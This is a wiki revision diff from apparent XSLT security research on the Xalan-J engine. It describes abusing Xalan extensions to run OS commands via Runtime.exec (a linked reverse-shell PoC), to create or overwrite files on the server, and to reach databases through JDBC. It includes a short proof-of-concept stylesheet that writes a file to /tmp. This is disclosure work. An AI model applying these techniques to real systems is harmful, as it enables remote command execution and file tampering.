Changes for page Engine_XalanJ

Last modified by Nicolas Gregoire on 2012/01/31 17:35
From version Icon 50.1 Icon
edited by Nicolas Gregoire
on 2012/01/11 23:52
Change comment: There is no comment for this version
To version Icon 57.3 Icon
edited by Nicolas Gregoire
on 2012/01/12 00:15
Change comment: There is no comment for this version

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... ... @@ -52,7 +52,18 @@
52 52  
53 53  Once Java code execution is possible, it is trivial to execute arbitrary OS commands using the java.lang.Runtime class. The attached PoC will not read the output of the executed command (because loops are hard in XSLT). But this is not a problem if a reverse-shell have already been started, isn't it ;-)
54 54  
55 -|=Namespace|=Extension function|=PoC
56 -|http:~/~/xml.apache.org/xalan/java|getRuntime() = exec()|[[xalanj-reverse-bash.xsl>>attach:xalanj-reverse-bash.xsl]]
55 +|=Namespace|=Extension functions|=PoC
56 +|http:~/~/xml.apache.org/xalan/java|split(), getRuntime(), exec() and toString()|[[xalanj-reverse-bash.xsl>>attach:xalanj-reverse-bash.xsl]]
57 57  
58 -__Note__ : as arrays are not a native type in XSLT, we create one via split() before passing it as an argument to exec(String[] cmdarray).
58 +__Note__ : as arrays are not a native type in XSLT, we create one in Java via split() before passing it as an argument to [[exec(String[] cmdarray)>>http://docs.oracle.com/javase/1.4.2/docs/api/java/lang/Runtime.html#exec(java.lang.String[])||rel="__blank"]].
59 +
60 +== File creation ==
61 +
62 +The "write" extension element allows to create files on the engine side. The content written to the file must be valid UTF-8 (so plain ASCII works too). Existing files can be overwritten.
63 +
64 +|=Namespace|=Extension element|=Parameter|=PoC
65 +|http:~/~/xml.apache.org/xalan/redirect|write|file|[[xalanj-write.xsl>>attach:xalanj-write.xsl]]
66 +
67 +== JDBC connectivity ==
68 +
69 +It is possible to use XSLT to connect to any database having a corresponding installed JDBC driver.
Icon xalanj-write.xsl
Author
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1 +xwiki:XWiki.NicolasGregoire
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1 +373 bytes
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1 +<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
2 + xmlns:redir="http://xml.apache.org/xalan/redirect"
3 + extension-element-prefixes="redir"
4 + version='1.0'>
5 +
6 + <xsl:template match="/">
7 + <redir:write file="/tmp/created_by_xalanj_write" method="text">
8 + <xsl:text>Just a PoC</xsl:text>
9 + </redir:write>
10 + </xsl:template>
11 +
12 +</xsl:stylesheet>
13 +